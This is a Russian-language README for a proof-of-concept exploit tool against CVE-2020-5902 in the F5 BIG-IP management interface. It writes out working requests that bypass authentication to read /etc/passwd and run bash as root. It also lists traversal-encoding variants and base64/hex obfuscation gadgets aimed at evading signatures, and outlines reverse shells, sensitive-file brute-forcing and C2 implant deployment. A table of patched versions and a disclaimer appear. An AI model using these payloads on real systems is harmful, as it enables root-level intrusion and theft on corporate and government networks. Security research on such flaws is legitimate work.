F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями.
Эксплойт Proof-of-Concept для критической уязвимости обхода пути / удаленного выполнения кода в Traffic Management User Interface (TMUI) продуктов F5 BIG-IP.
⚠️ Только для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете письменного разрешения, противозаконно. Автор не несет ответственности за неправомерное использование данного инструмента.
F5 BIG-IP — это семейство многоцелевых сетевых устройств (балансировщиков нагрузки, WAF, контроллеров доставки приложений), развернутых в большинстве компаний из списка Fortune 500, финансовых учреждениях, медицинских организациях и государственных учреждениях по всему миру. Traffic Management User Interface (TMUI) — также называемый Configuration Utility — это веб-портал управления, доступный на порту 443 (или 8443).
В июле 2020 года F5 раскрыла CVE-2020-5902 — критическую (CVSS 9.8) неаутентифицированную уязвимость обхода пути в TMUI, которая позволяет удаленному неаутентифицированному атакующему:
В течение дней после публичного раскрытия в дикой природе наблюдалась массовая эксплуатация, в том числе со стороны государственных субъектов.
TMUI построен на Apache Tomcat и использует сервлетный фильтр для принудительной аутентификации защищенных ресурсов. Уязвимость заключается в том, как Tomcat обрабатывает сегменты пути, разделенные точкой с запятой (;).
Следующий запрос полностью обходит аутентификацию:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Почему это работает:
/tmui/login.jsp (заканчивается перед ;) — то есть публичную страницу входа — и разрешает запрос./..;/ как обход пути (/../) перед диспетчеризацией.fileRead.jsp без аутентификации.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
Сервлет tmshCmd.jsp (также доступный через тот же обход пути) передает параметры command и utilCmdArgs напрямую в tmsh (командную оболочку управления BIG-IP), которая оборачивает run util bash -c '...'. Это обеспечивает неаутентифицированное выполнение команд ОС с правами root:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
| Вариант | Полезная нагрузка |
|---|---|
| Стандартный | tmui/login.jsp/..;/tmui/... |
| Закодированная точка с запятой | tmui/login.jsp/..%3b/tmui/... |
| Двойное URL-кодирование | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Юникод-точки | tmui/login.jsp/%2e%2e;/tmui/... |
| Вариация регистра | TMUI/login.jsp/..;/tmui/... |
| Подмена каталога | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
Инструмент применяет один из двух гаджетов обфускации при каждом выполнении, что затрудняет обнаружение статическими сигнатурами:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
| Версия BIG-IP | Уязвимый диапазон | Исправленная версия |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ Centralized Management, F5OS и Traffix SDC не затронуты этим конкретным CVE.
!revshell, !c2, !read, !brute